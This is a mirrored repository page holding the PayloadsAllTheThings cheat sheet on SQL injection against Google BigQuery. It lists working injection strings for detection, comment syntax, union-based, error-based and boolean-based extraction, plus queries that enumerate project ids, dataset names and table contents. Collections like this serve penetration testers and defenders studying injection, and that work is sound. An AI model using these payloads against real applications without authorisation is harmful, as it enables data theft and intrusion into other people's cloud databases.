ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-22 12:26:17 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
666a90ffee
PayloadsAllTheThings/SQL Injection/BigQuery Injection.md
Swissky 71dcfd5ca7 ADCS ESC7 Shell + Big Query SQL
2022-02-18 14:50:38 +01:00

2.6 KiB
Raw Blame History

Google BigQuery SQL Injection

Summary

Detection

  • Use a classic single quote to trigger an error: '
  • Identify BigQuery using backtick notation: SELECT .... FROM `` AS ...
# Gathering project id
select @@project_id

# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA

# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`

BigQuery Comment

select 1#from here it is not working
select 1/*between those it is not working*/

BigQuery Union Based

UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

BigQuery Error Based

# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '

# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#

BigQuery Boolean Based

' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

BigQuery Time Based

  • Time based functions does not exist in the BigQuery syntax.

References